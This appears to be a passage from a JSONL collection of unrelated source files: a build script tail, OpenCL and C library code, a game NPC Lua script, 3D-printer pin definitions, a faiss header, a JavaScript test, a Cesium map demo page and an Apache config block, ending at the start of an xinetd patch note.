\"${build}\" *.log\nmkdir -p ${build}\n\nconfigure >configure.log 2>&1 || fail 3 \"error configuring\"\ncompile >compile.log 2>&1 || fail 2 \"error compiling\"\nfate >test.log 2>&1 || fail 1 \"error testing\"\nreport 0 success\nclean\n"} {"text": "/* OpenCL built-in library: half_exp2()\n\n Copyright (c) 2011-2013 Erik Schnetter\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n*/\n\n#include \"templates.h\"\n\nDEFINE_EXPR_F_F(half_exp2, exp2(a))\n"} {"text": "-----------------------------------\n-- Area: Southern San d'Oria\n-- NPC: Foletta\n-- General Info NPC\n-------------------------------------\nlocal ID = require(\"scripts/zones/Southern_San_dOria/IDs\");\nrequire(\"scripts/globals/settings\");\nrequire(\"scripts/globals/quests\");\n\nfunction onTrade(player,npc,trade)\n -- \"Flyers for Regine\" conditional script\n local FlyerForRegine = player:getQuestStatus(SANDORIA,dsp.quest.id.sandoria.FLYERS_FOR_REGINE);\n\n if (FlyerForRegine == 1) then\n local count = trade:getItemCount();\n local MagicFlyer = trade:hasItemQty(532,1);\n if (MagicFlyer == true and count == 1) then\n player:messageSpecial(ID.text.FLYER_REFUSED);\n end\n end\nend;\n\nfunction onTrigger(player,npc)\n player:startEvent(666);\nend;\n\nfunction onEventUpdate(player,csid,option)\nend;\n\nfunction onEventFinish(player,csid,option)\nend;\n"} {"text": "\n\nvoid drawWellGrid(int w, int h)\n{\n for (int x = 0; x < w; x++) {\n for (int y = 0; y < h; y++) {\n stroke(0xFFBBBB00);\n fill(0xFF00FF00);\n rect(x*BlockScale, y*BlockScale, BlockScale, BlockScale);\n }\n }\n}\n\nvoid drawBlocks(int w, int h, boolean[][] blocks) {\n for (int x = 0; x < w; x++) {\n for (int y = 0; y < h; y++) {\n if (blocks[x][y]) {\n //fill(0xFF000000 | (int)random(0xFFFFFF)); // For fun.\n fill(0xFF0000FF);\n rect(x*BlockScale, y*BlockScale, BlockScale, BlockScale);\n }\n }\n }\n}\n\nvoid drawFallingBlock(Block block)\n{\n if (block == null)\n return;\n\n BlockPart[] parts = block.parts;\n\n stroke(0x00BB0000);\n fill(0xFFFF0000);\n\n for (int i = 0; i < BlockPartsCount; i++)\n rect(parts[i].xPos*BlockScale, parts[i].yPos*BlockScale, BlockScale, BlockScale);\n}\n\nvoid drawNextBlock(Block block,int x,int y) {\n if (block == null)\n return;\n\n BlockPart[] parts = block.parts;\n stroke(255,0,0);\n fill(255,255,0);\n for (int i = 0; i < BlockPartsCount; i++)\n rect(parts[i].xPos*BlockScale+x, parts[i].yPos*BlockScale+y, BlockScale, BlockScale);\n}\n\nvoid drawGameState(Game game)\n{\n drawWellGrid(game.wellWidth, game.wellHeight);\n drawBlocks(game.wellWidth, game.wellHeight, game.blocks);\n drawFallingBlock(game.fallingBlock);\n}"} {"text": "/**\n * @file\n * @note Derived from addr2line.c and associated binutils files, version 2.18.\n */\n\n#include <unistd.h>\n\n#include <sys/stat.h>\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include <string.h>\n#include <errno.h>\n#include <limits.h>\n#include <assert.h>\n\n#pragma GCC visibility push(hidden)\n#include \"bfd.h\"\n#include \"bucomm.h\"\n#include \"demangle.h\"\n#include \"libiberty.h\"\n#pragma GCC visibility pop\n\ntypedef struct _libtrace_data\n{\n\tbfd_boolean unwind_inlines; /**< Unwind inlined functions. */\n\tbfd_boolean with_functions; /**< Show function names. */\n\tbfd_boolean do_demangle; /**< Demangle names. */\n\tbfd_boolean base_names; /**< Strip directory names. */\n\tasymbol **syms; /**< Symbol table. */\n\n\tbfd *abfd;\n\tasection *section;\n} libtrace_data;\n\nstatic libtrace_data m_libtrace_data = { .unwind_inlines = TRUE, .with_functions = TRUE, .do_demangle = TRUE,\n\t\t.base_names = TRUE, .syms = nullptr, .abfd = nullptr, .section = nullptr, };\n\n/** These variables are used to pass information between\n translate_addresses and find_address_in_section. */\ntypedef struct _sym_info\n{\n\tbfd_vma pc;\n\tconst char *filename;\n\tconst char *functionname;\n\tunsigned int line;\n\tbfd_boolean found;\n} sym_info;\n\nstatic int slurp_symtab (bfd *);\nstatic void find_address_in_section (bfd *, asection *, void *);\nstatic void find_offset_in_section (bfd *, asection *, sym_info *);\nstatic int translate_addresses (bfd *abfd, asection *section, void *addr, char *buf_func, size_t buf_func_len,\n\t\tchar *buf_file, size_t buf_file_len);\n\nstatic const char *program_name = \"addr2line\";\n\nvoid bfd_nonfatal (const char *string)\n{\n\tconst char *errmsg = bfd_errmsg(bfd_get_error());\n\n\tif (string)\n\t\tfprintf(stderr, \"%s: %s: %s\\n\", program_name, string, errmsg);\n\telse\n\t\tfprintf(stderr, \"%s: %s\\n\", program_name, errmsg);\n}\n\nvoid report (const char * format, va_list args)\n{\n\tfprintf(stderr, \"%s: \", program_name);\n\tvfprintf(stderr, format, args);\n\tputc('\\n', stderr);\n}\n\nvoid non_fatal (const char *format, ...)\n{\n\tva_list args;\n\n\tva_start(args, format);\n\treport(format, args);\n\tva_end(args);\n}\n\n/** Returns the size of the named file. If the file does not\n * exist, or if it is not a real file, then a suitable non-fatal\n * error message is printed and zero is returned. */\noff_t get_file_size (const char * file_name)\n{\n\tstruct stat statbuf;\n\n\tif (stat(file_name, &statbuf) < 0) {\n\t\tif (errno == ENOENT)\n\t\t\tnon_fatal(\"'%s': No such file\", file_name);\n\t\telse\n\t\t\tnon_fatal(\"Warning: could not locate '%s'. reason: %s\", file_name, strerror(errno));\n\t} else if (!S_ISREG (statbuf.st_mode))\n\t\tnon_fatal(\"Warning: '%s' is not an ordinary file\", file_name);\n\telse\n\t\treturn statbuf.st_size;\n\n\treturn 0;\n}\n\n/** After a FALSE return from bfd_check_format_matches with\n * bfd_get_error () == bfd_error_file_ambiguously_recognized, print\n * the possible matching targets. */\nvoid list_matching_formats (char **p)\n{\n\tif (!p || !*p)\n\t\treturn;\n\n\tfprintf(stderr, \"%s: Matching formats: \", program_name);\n\twhile (*p)\n\t\tfprintf(stderr, \" %s\", *p++);\n\tfputc('\\n', stderr);\n}\n\n/** Set the default BFD target based on the configured target. Doing\n * this permits the binutils to be configured for a particular target,\n * and linked against a shared BFD library which was configured for a\n * different target. */\nvoid set_default_bfd_target (void)\n{\n\t/* The macro TARGET is defined by Makefile.\n\t E.g.: -DTARGET='\"i686-pc-linux-gnu\"'. */\n\tconst char *target = TARGET;\n\n\tif (!bfd_set_default_target(target)) {\n\t\tnon_fatal(\"can't set BFD default target to `%s': %s\", target, bfd_errmsg(bfd_get_error()));\n\t\treturn;\n\t}\n\n\treturn;\n}\n\n/** Read in the symbol table. */\nstatic int slurp_symtab (bfd *abfd)\n{\n\tlong symcount;\n\tunsigned int size;\n\n\tif ((bfd_get_file_flags(abfd) & HAS_SYMS) == 0)\n\t\treturn -1;\n\n\tsymcount = bfd_read_minisymbols(abfd, FALSE, (void *) &m_libtrace_data.syms, &size);\n\tif (symcount == 0)\n\t\tsymcount = bfd_read_minisymbols(abfd, TRUE /* dynamic */, (void *) &m_libtrace_data.syms, &size);\n\n\tif (symcount < 0) {\n\t\tbfd_nonfatal(bfd_get_filename(abfd));\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\n/** Look for an address in a section. This is called via\n * bfd_map_over_sections. */\nstatic void find_address_in_section (bfd *abfd, asection *section, void *data)\n{\n\tbfd_vma vma;\n\tbfd_size_type size;\n\tsym_info *psi = (sym_info*) data;\n\n\tif (psi->found)\n\t\treturn;\n\n\tif ((bfd_get_section_flags(abfd, section) & SEC_ALLOC) == 0)\n\t\treturn;\n\n\tvma = bfd_get_section_vma(abfd, section);\n\tif (psi->pc < vma)\n\t\treturn;\n\n\tsize = bfd_get_section_size(section);\n\tif (psi->pc >= vma + size)\n\t\treturn;\n\n\tpsi->found = bfd_find_nearest_line(abfd, section, m_libtrace_data.syms, psi->pc - vma, &psi->filename,\n\t\t\t&psi->functionname, &psi->line);\n}\n\n/** Look for an offset in a section. This is directly called. */\nstatic void find_offset_in_section (bfd *abfd, asection *section, sym_info *psi)\n{\n\tbfd_size_type size;\n\n\tif (psi->found)\n\t\treturn;\n\n\tif ((bfd_get_section_flags(abfd, section) & SEC_ALLOC) == 0)\n\t\treturn;\n\n\tsize = bfd_get_section_size(section);\n\tif (psi->pc >= size)\n\t\treturn;\n\n\tpsi->found = bfd_find_nearest_line(abfd, section, m_libtrace_data.syms, psi->pc, &psi->filename,\n\t\t\t&psi->functionname, &psi->line);\n}\n\n/** Translate xaddr into\n * file_name:line_number and optionally function name. */\nstatic int translate_addresses (bfd *abfd, asection *section, void *xaddr, char *buf_func, size_t buf_func_len,\n\t\tchar *buf_file, size_t buf_file_len)\n{\n#define ADDR_BUF_LEN ((CHAR_BIT/4)*(sizeof(void*))+1)\n\tchar addr[ADDR_BUF_LEN + 1] = { 0 };\n\tsym_info si = { 0 };\n\n\tsprintf(addr, \"%p\", xaddr);\n\tsi.pc = bfd_scan_vma(addr, nullptr, 16);\n\n\tsi.found = FALSE;\n\tif (section)\n\t\tfind_offset_in_section(abfd, section, &si);\n\telse\n\t\tbfd_map_over_sections(abfd, find_address_in_section, &si);\n\n\tif (!si.found) {\n\t\tif (buf_func != nullptr)\n\t\t\tsnprintf(buf_func, buf_func_len, \"%s ??:0\", m_libtrace_data.with_functions ? \"??\" : \"\");\n\t} else {\n\t\tdo {\n\t\t\tif (m_libtrace_data.with_functions) {\n\t\t\t\tconst char *name;\n\t\t\t\tchar *alloc = nullptr;\n\n\t\t\t\tname = si.functionname;\n\t\t\t\tif (name == nullptr || *name == '\\0')\n\t\t\t\t\tname = \"??\";\n\t\t\t\telse if (m_libtrace_data.do_demangle) {\n\t\t\t\t\talloc = bfd_demangle(abfd, name, DMGL_ANSI | DMGL_PARAMS);\n\t\t\t\t\tif (alloc != nullptr)\n\t\t\t\t\t\tname = alloc;\n\t\t\t\t}\n\n\t\t\t\tif (buf_func != nullptr)\n\t\t\t\t\tsnprintf(buf_func, buf_func_len, \"%s\", name);\n\n\t\t\t\tfree(alloc);\n\t\t\t}\n\n\t\t\tif (m_libtrace_data.base_names && si.filename != nullptr) {\n\t\t\t\tchar *h = strrchr(si.filename, '/');\n\t\t\t\tif (h != nullptr)\n\t\t\t\t\tsi.filename = h + 1;\n\t\t\t}\n\n\t\t\tif (buf_file != nullptr)\n\t\t\t\tsnprintf(buf_file, buf_file_len, \"%s:%u\", si.filename ? si.filename : \"??\", si.line);\n\t\t\tif (!m_libtrace_data.unwind_inlines)\n\t\t\t\tsi.found = FALSE;\n\t\t\telse\n\t\t\t\tsi.found = bfd_find_inliner_info(abfd, &si.filename, &si.functionname, &si.line);\n\t\t} while (si.found);\n\t}\n\n\treturn si.found;\n}\n/* --------------------------------------------------------------- */\n\nint libtrace_init (const char *file_name, const char *section_name, const char *target)\n{\n\tchar **matching = nullptr;\n\n\tbfd_init();\n\tset_default_bfd_target();\n\n\tif (get_file_size(file_name) < 1)\n\t\treturn -1;\n\n\tm_libtrace_data.abfd = bfd_openr(file_name, target);\n\tif (m_libtrace_data.abfd == nullptr) {\n\t\tbfd_nonfatal(file_name);\n\t\treturn -1;\n\t}\n\n\tif (bfd_check_format(m_libtrace_data.abfd, bfd_archive)) {\n\t\tnon_fatal(\"%s: cannot get addresses from archive\", file_name);\n\t\treturn -1;\n\t}\n\n\tif (!bfd_check_format_matches(m_libtrace_data.abfd, bfd_object, &matching)) {\n\t\tbfd_nonfatal(bfd_get_filename(m_libtrace_data.abfd));\n\t\tif (bfd_get_error() == bfd_error_file_ambiguously_recognized) {\n\t\t\tlist_matching_formats(matching);\n\t\t\tfree(matching);\n\t\t}\n\t\treturn -1;\n\t}\n\n\tif (section_name != nullptr) {\n\t\tm_libtrace_data.section = bfd_get_section_by_name(m_libtrace_data.abfd, section_name);\n\t\tif (m_libtrace_data.section == nullptr)\n\t\t\tnon_fatal(\"%s: cannot find section %s\", file_name, section_name);\n\t} else\n\t\tm_libtrace_data.section = nullptr;\n\n\tif (0 != slurp_symtab(m_libtrace_data.abfd))\n\t\treturn -1;\n\n\treturn 0;\n}\n\nint libtrace_close (void)\n{\n\tfree(m_libtrace_data.syms);\n\tm_libtrace_data.syms = nullptr;\n\n\tbfd_close(m_libtrace_data.abfd);\n\n\treturn 0;\n}\n\nint libtrace_resolve (void *addr, char *buf_func, size_t buf_func_len, char *buf_file, size_t buf_file_len, ...)\n{\n\tint ret = FALSE;\n\tret = translate_addresses(m_libtrace_data.abfd, m_libtrace_data.section, addr, buf_func, buf_func_len, buf_file,\n\t\t\tbuf_file_len);\n\tassert(0 == ret);\n\n\treturn 0;\n}\n\n/* --------------------------------------------------------------- */\n\n#ifdef MAIN_FUNC\nstatic void usage (FILE *stream, int status)\n{\n\tfprintf(stream, \"Usage: %s image addr <addr...>\\n\", program_name);\n\tfprintf(stream, \"Ex: %s cpptraced 0x8048f0e 0x8048fd4 \\n\", program_name);\n\t/*\n\t list_supported_targets(program_name, stream). e.g.:\n\t elf32-i386 a.out-i386-linux efi-app-ia32\n\t elf32-little elf32-big elf64-x86-64\n\t elf64-little elf64-big srec symbolsrec\n\t tekhex binary ihex\n\t trad-core\n\t */\n\texit(status);\n}\n\nint main (int argc, char **argv)\n{\n\tconst char *file_name = nullptr;\n\tconst char *section_name = nullptr;\n\tchar *target = nullptr;\n\n#if defined (HAVE_SETLOCALE) && defined (HAVE_LC_MESSAGES)\n\tsetlocale (LC_MESSAGES, \"\");\n#endif\n#if defined (HAVE_SETLOCALE)\n\tsetlocale (LC_CTYPE, \"\");\n#endif\n\t/* bindtextdomain(PACKAGE, LOCALEDIR);*/\n\t/* textdomain(PACKAGE);*/\n\t/* expandargv(&argc, &argv); /*libiberty*/\n\n\tif (argc < 3) {\n\t\tusage(stderr, 1);\n\t}\n\n\tfile_name = argv[1];\n\n#define FUNC_MAX (PATH_MAX)\n\tif (0 == libtrace_init(file_name, section_name, target)) {\n\t\tint i;\n\t\tvoid *sym = nullptr;\n\t\tchar func[FUNC_MAX + 1] = { 0 };\n\t\tchar file[PATH_MAX + 1] = { 0 };\n\n\t\tfor (i = argc - 2; i < argc; i++) {\n\t\t\tsscanf(argv[i], \"%p\", &sym);\n\t\t\tlibtrace_resolve(sym, func, FUNC_MAX, file, PATH_MAX);\n\t\t\tprintf(\"%s [%s]\\n\", func, file);\n\t\t}\n\n\t\tlibtrace_close();\n\t\treturn EXIT_SUCCESS;\n\t}\n\n\treturn EXIT_FAILURE;\n}\n#endif /*MAIN_FUNC*/\n"} {"text": "/**\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n\n#pragma once\n\n#include <faiss/IndexReplicas.h>\n#include <faiss/gpu/StandardGpuResources.h>\n#include <functional>\n#include <memory>\n#include <vector>\n\nnamespace faiss { namespace gpu {\n\n// If we want to run multi-GPU, create a proxy to wrap the indices.\n// If we don't want multi-GPU, don't involve the proxy, so it doesn't\n// affect the timings.\ntemplate <typename GpuIndex>\nstruct IndexWrapper {\n std::vector<std::unique_ptr<faiss::gpu::StandardGpuResources>> resources;\n std::vector<std::unique_ptr<GpuIndex>> subIndex;\n std::unique_ptr<faiss::IndexReplicas> replicaIndex;\n\n IndexWrapper(\n int numGpus,\n std::function<std::unique_ptr<GpuIndex>(GpuResourcesProvider*, int)> init);\n faiss::Index* getIndex();\n\n void runOnIndices(std::function<void(GpuIndex*)> f);\n void setNumProbes(int nprobe);\n};\n\n} }\n\n#include <faiss/gpu/perf/IndexWrapper-inl.h>\n"} {"text": "/**\n * Marlin 3D Printer Firmware\n * Copyright (C) 2019 MarlinFirmware [https://github.com/MarlinFirmware/Marlin]\n *\n * Based on Sprinter and grbl.\n * Copyright (C) 2011 Camiel Gubbels / Erik van der Zalm\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\n#if !defined(__AVR_ATmega1281__) && !defined(__AVR_ATmega2561__)\n #error \"Oops! Select 'Silvergate' in 'Tools > Board.'\"\n#endif\n\n#define BOARD_NAME \"Silver Gate\"\n\n#define X_STEP_PIN 43\n#define X_DIR_PIN 44\n#define X_ENABLE_PIN 42\n#define X_MIN_PIN 31\n#define X_MAX_PIN 34\n\n#define Y_STEP_PIN 40\n#define Y_DIR_PIN 41\n#define Y_ENABLE_PIN 39\n#define Y_MIN_PIN 32\n#define Y_MAX_PIN 35\n\n#define Z_STEP_PIN 13\n#define Z_DIR_PIN 38\n#define Z_ENABLE_PIN 14\n#define Z_MIN_PIN 33\n#define Z_MAX_PIN 36\n\n#define E0_STEP_PIN 27\n#define E0_DIR_PIN 37\n#define E0_ENABLE_PIN 45\n\n#define SDSS 16\n\n#ifndef FIL_RUNOUT_PIN\n #define FIL_RUNOUT_PIN 34 // X_MAX unless overridden\n#endif\n\n#ifndef FAN_PIN\n #define FAN_PIN 5\n#endif\n\n#define HEATER_0_PIN 7\n\n#define ORIG_E0_AUTO_FAN_PIN 3 // Use this by NOT overriding E0_AUTO_FAN_PIN\n#define CONTROLLER_FAN_PIN 2\n\n#define TEMP_0_PIN 7 // Analog Input\n\n#define HEATER_BED_PIN 8\n#define TEMP_BED_PIN 6\n\n#if ENABLED(DOGLCD)\n #if ENABLED(U8GLIB_ST7920) // SPI GLCD 12864 ST7920\n #define LCD_PINS_RS 30\n #define LCD_PINS_ENABLE 20\n #define LCD_PINS_D4 25\n #define BEEPER_PIN 29\n #define BTN_EN1 19\n #define BTN_EN2 22\n #define BTN_ENC 24\n #define LCD_BACKLIGHT_PIN 6\n #if ENABLED(SILVER_GATE_GLCD_CONTROLLER)\n #define KILL_PIN 21\n #define HOME_PIN 28\n #endif\n #endif\n#endif\n\n#define SD_DETECT_PIN 15\n\n#define STAT_LED_RED_PIN 23\n#define STAT_LED_BLUE_PIN 26\n#define CASE_LIGHT_PIN 51\n"} {"text": "StartTest(function(t) {\n \n t.is(1, 1, 'Correct')\n t.isnt(1, 2, 'Correct')\n t.ok(1, 'Correct')\n t.notOk(0, 'Correct')\n \n t.isStrict(null, null, 'Correct')\n \n t.like('Yo', /yo/i, 'Correct')\n\n t.throwsOk(function () { throw \"yo\" }, /yo/, 'Exception thrown')\n t.livesOk(function () { }, 'Exception not thrown')\n \n t.isDeeplyStrict({ a : 1, b : 2 }, { a : 1, b : 2 }, 'Correct')\n}) \n"} {"text": "<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n <meta name=\"xbsj-labels\" content=\"Earth示例\">\n </meta>\n <title>模型-位置匹配</title>\n <!-- 0 引入js文件:XbsjEarth.js和vue.min.js -->\n\n <script src=\"../../XbsjEarth/XbsjEarth.js\"></script>\n <script src=\"./scripts/vue.min.js\"></script>\n\n\n <style>\n html,\n body {\n width: 100%;\n height: 100%;\n margin: 0px;\n padding: 0px;\n }\n\n .box span {\n display: block;\n margin-top: 10px;\n }\n\n .defultbtn {\n display: inline-block;\n text-align: center;\n min-width: 60px;\n height: 38px;\n padding: 0 10px;\n line-height: 38px;\n border-radius: 100px;\n border: 1px solid #C9C9C9;\n background-color: #FFF;\n color: #555;\n cursor: pointer;\n }\n\n .defultbtn:hover {\n background-color: #b3daf8;\n }\n\n .btnon {\n background-color: #1E9FFF;\n color: #fff;\n border: 1px solid #1E9FFF;\n }\n </style>\n</head>\n\n<body>\n <div id=\"vueApp\" style=\"width: 100%; height: 100%; background: grey; position: relative;\">\n <earth-comp></earth-comp>\n </div>\n\n <script>\n // 1 创建Earth的vue组件\n var EarthComp = {\n template: `\n <div style=\"width: 100%; height: 100%\">\n <div ref=\"earthContainer\" style=\"width: 100%; height: 100%\">\n </div>\n <div class=\"box\" style=\"position: absolute; left: 18px; top: 18px; color: white; background: rgba(0, 0, 0, 0.6); padding: 20px; border-radius: 25px;min-width:300px; font-size:24px; font-family: 宋体;\">\n <div class=\"defultbtn\" @click=\"flyToPylon()\">电塔定位</div>\n <div class=\"defultbtn\" @click=\"flyToWire()\">电线定位</div>\n <div class=\"defultbtn\" :class=\"{'btnon':positionEditing}\" @click=\"positionEditing = !positionEditing\">平移</div>\n <div>\n <label>电塔经度:</label><input type='text' v-model='xbsjPosition[0]'>°</input> \n </div>\n <div>\n <label>电塔纬度:</label><input type='text' v-model='xbsjPosition[1]'>°</input> \n </div>\n <div>\n <label>电塔高度:</label><input type='text' v-model='xbsjPosition[2]'>m</input>\n </div>\n <div>\n <label>绝缘子挂接点相对X:</label><input type='text' v-model='insulator[0]'></input> \n </div>\n <div>\n <label>绝缘子挂接点相对Y:</label><input type='text' v-model='insulator[1]'></input> \n </div>\n <div>\n <label>绝缘子挂接点相对Z:</label><input type='text' v-model='insulator[2]'></input>\n </div>\n \n </div>\n </div>\n `,\n data() {\n // <span>电线终点经度:{{contactPointLine[0]}}°</span>\n // <span>电线终点纬度:{{contactPointLine[1]}}°</span>\n // <span>电线终点高度:{{contactPointLine[2]}}m</span>\n\n // <span>绝缘子经度:{{insulatorPosition.longitude}}°</span>\n // <span>绝缘子纬度:{{insulatorPosition.latitude}}°</span>\n // <span>绝缘子高度:{{insulatorPosition.height}}m</span>\n\n // <span>绝缘子旋转X:{{insulatorRotation.heading}}</span>\n // <span>绝缘子旋转Y:{{insulatorRotation.pitch}}</span>\n // <span>绝缘子旋转Z:{{insulatorRotation.roll}}</span>\n\n // <span>绝缘子缩放:{{insulatorScale}}</span>\n return {\n positionEditing: false,\n rotationEditing: false,\n xbsjPosition: [0, 0, 0],\n insulator: [0.8, 5.8, 31],\n insulatorPosition: { longitude: 0, latitude: 0, height: 0 },\n insulatorRotation: {},\n insulatorScale: 0,\n contactPoint: [0, 0, 0],\n contactPointLine: [0, 0, 0],\n _earth: undefined,\n _model: undefined\n };\n },\n methods: {\n flyToPylon() {\n this._model.flyTo();\n },\n flyToWire() {\n this._line.flyTo();\n },\n compute() {\n var r = XE.Tool.Math.ab2Ab(new Cesium.Cartesian3(0, 0, 0),\n new Cesium.Cartesian3(0, 0, 10),\n Cesium.Cartesian3.fromDegrees(this.xbsjPosition[0], this.xbsjPosition[1], this.xbsjPosition[2]),\n Cesium.Cartesian3.fromDegrees(this.xbsjPosition[0], this.xbsjPosition[1], this.xbsjPosition[2] + 10));\n\n if (!isNaN(this.insulatorPosition.longitude)) {\n\n var cartesian = { x: this.insulator[0], y: this.insulator[1], z: this.insulator[2] };\n var projectPoint = Cesium.Matrix4.multiplyByPoint(r.modelMatrix, cartesian, new Cesium.Cartesian3());\n projectPoint = Cesium.Cartographic.fromCartesian(projectPoint);\n this._pin1.position[0] = projectPoint.longitude;\n this._pin1.position[1] = projectPoint.latitude;\n this._pin1.position[2] = projectPoint.height;\n\n\n var r2 = XE.Tool.Math.ab2Ab(new Cesium.Cartesian3(0, 0, -1.540082),\n new Cesium.Cartesian3(0, 0, 1.62862),\n Cesium.Cartesian3.fromRadians(this._pin1.position[0], this._pin1.position[1], this._pin1.position[2]),\n Cesium.Cartesian3.fromRadians(this._pin2.position[0], this._pin2.position[1], this._pin2.position[2]));\n\n this._model2.xbsjScale[2] = r2.scale;\n this._model2.xbsjPosition[0] = r2.positionInRadians.longitude;\n this._model2.xbsjPosition[1] = r2.positionInRadians.latitude;\n this._model2.xbsjPosition[2] = r2.positionInRadians.height;\n this._model2.xbsjRotation[0] = r2.hpr.heading;\n this._model2.xbsjRotation[1] = r2.hpr.pitch;\n this._model2.xbsjRotation[2] = r2.hpr.roll;\n\n this.insulatorPosition = r2.positionInDegrees;\n this.insulatorRotation = r2.hpr;\n this.insulatorScale = r2.scale;\n\n\n } else {\n this._model.xbsjRotation = [0, 0, 0];\n console.log(this.insulatorPosition.longitude);\n }\n }\n },\n // 1.1 资源创建\n mounted() {\n // 1.1.1 创建地球\n var earth = new XE.Earth(this.$refs.earthContainer);\n\n earth.sceneTree.root = {\n \"children\": [\n {\n \"czmObject\": {\n \"xbsjType\": \"Imagery\",\n \"name\": \"谷歌影像\",\n \"xbsjImageryProvider\": {\n \"XbsjImageryProvider\": {\n \"url\": \"//www.google.cn/maps/vt?lyrs=s,h&gl=CN&x={x}&y={y}&z={z}\",\n \"srcCoordType\": \"GCJ02\",\n \"dstCoordType\": \"WGS84\",\n \"maximumLevel\": 21,\n },\n }\n },\n },\n {\n \"czmObject\": {\n \"xbsjType\": \"Model\",\n \"url\": \"./assets/JG3G/ts.gltf\",\n \"minimumPixelSize\": 128,\n \"maximumScale\": 20000,\n \"xbsjPosition\": [2.031395064211438, 0.6963855831071951, 0],\n },\n \"ref\": \"model1\",\n },\n {\n \"czmObject\": {\n \"xbsjType\": \"Model\",\n \"url\": \"./assets/JG3G/jyz_1.gltf\",\n \"xbsjPosition\": [2.031395064211438, 0.6963855831071951, 0],\n \"xbsjScale\": [1, 1, 1]\n },\n \"ref\": \"model2\",\n },\n {\n \"czmObject\": {\n \"xbsjType\": \"Polyline\",\n \"xbsjGuid\": \"e146e1e5-3b58-4469-8f9c-b58529e801c4\",\n \"name\": \"折线\",\n \"positions\": [\n [\n 2.0313957164972, 0.6963864715457375, 30\n ],\n [\n 2.0313997164962, 0.6963864715457375, 30\n ]\n ]\n },\n \"ref\": \"line\"\n },\n {\n \"czmObject\": {\n \"xbsjType\": \"Pin\",\n \"xbsjGuid\": \"e55d3ebb-2c3f-4d11-9b9f-3bb2ad5f4380\",\n \"name\": \"图标点\",\n \"position\": [2.0313887163962, 0.6963863715457375, 41.7],\n \"pinBuilder\": {},\n \"far\": 1073741824\n },\n \"ref\": \"pin1\"\n },\n {\n \"czmObject\": {\n \"xbsjType\": \"Pin\",\n \"xbsjGuid\": \"e55d3ebb-2c3f-4d11-9b9f-3bb2ad5f4381\",\n \"name\": \"图标点\",\n \"position\": [0, 0, 0],\n \"pinBuilder\": {},\n \"far\": 1073741824\n },\n \"ref\": \"pin2\"\n }\n ]\n }\n\n var model1 = earth.sceneTree.$refs.model1.czmObject;\n this._model = model1;\n this._model2 = earth.sceneTree.$refs.model2.czmObject;\n var pin1 = earth.sceneTree.$refs.pin1.czmObject;\n this._pin1 = pin1;\n var pin2 = earth.sceneTree.$refs.pin2.czmObject;\n this._pin2 = pin2;\n this._line = earth.sceneTree.$refs.line.czmObject;\n\n earth.camera.position = [2.0313939158337986, 0.6963882052359618, 37.59368984403024];\n earth.camera.rotation = [2.609848767179005, -0.3729591726011434, 0.0017965861104354275];\n\n // this._model.flyTo();\n this._pin2.position[0] = this._line.positions[0][0];\n this._pin2.position[1] = this._line.positions[0][1];\n this._pin2.position[2] = this._line.positions[0][2];\n\n\n // 1.1.3 数据绑定\n {\n this._positionEditingUnbind = XE.MVVM.bind(this, 'positionEditing', model1, 'positionEditing');\n this._xbsjPositionUnbind = XE.MVVM.bindPosition(this, 'xbsjPosition', model1, 'xbsjPosition');\n this._xbsjPositionUnbind = XE.MVVM.bindPosition(this, 'contactPointLine', pin2, 'position');\n\n // 设置初始值\n earth.terrainEffect.subSurfaceEnabled = false;\n earth.terrainEffect.surfaceOpacity = 0.0;\n }\n\n\n this._earth = earth;\n this._model = model1;\n\n window.earth = earth;\n window.model = model1;\n },\n watch: {\n insulator(v) {\n this.compute();\n },\n xbsjPosition(v) {\n this.compute();\n }\n },\n // 1.2 资源销毁\n beforeDestroy() {\n // vue程序销毁时,需要清理相关资源\n this._earth = this._earth && this._earth.destroy();\n this._model = this._model && this._model.destroy();\n this._rotationEditingUnbind = this._rotationEditingUnbind && this._rotationEditingUnbind();\n this._positionEditingUnbind = this._positionEditingUnbind && this._positionEditingUnbind();\n this._xbsjPositionUnbind = this._xbsjPositionUnbind && this._xbsjPositionUnbind();\n this._xbsjRotationUnbind = this._xbsjRotationUnbind && this._xbsjRotationUnbind();\n },\n }\n\n // 2 创建vue程序\n // XE.ready()用来加载Cesium.js等相关资源\n XE.ready().then(() => {\n // return XE.HTML.loadJS('./scripts/ab2AB.js');\n // }).then(() => {\n var app = new Vue({\n el: '#vueApp',\n components: {\n EarthComp,\n },\n });\n });\n </script>\n</body>\n\n</html>\n"} {"text": "<IfModule mpm_event_module>\n StartServers 2\n MinSpareThreads 25\n MaxSpareThreads 75\n ThreadLimit 64\n ThreadsPerChild 25\n MaxClients 150\n MaxRequestsPerChild 0\n</IfModule>\n"} {"text": "This patch fixes compiling xinetd without RPC 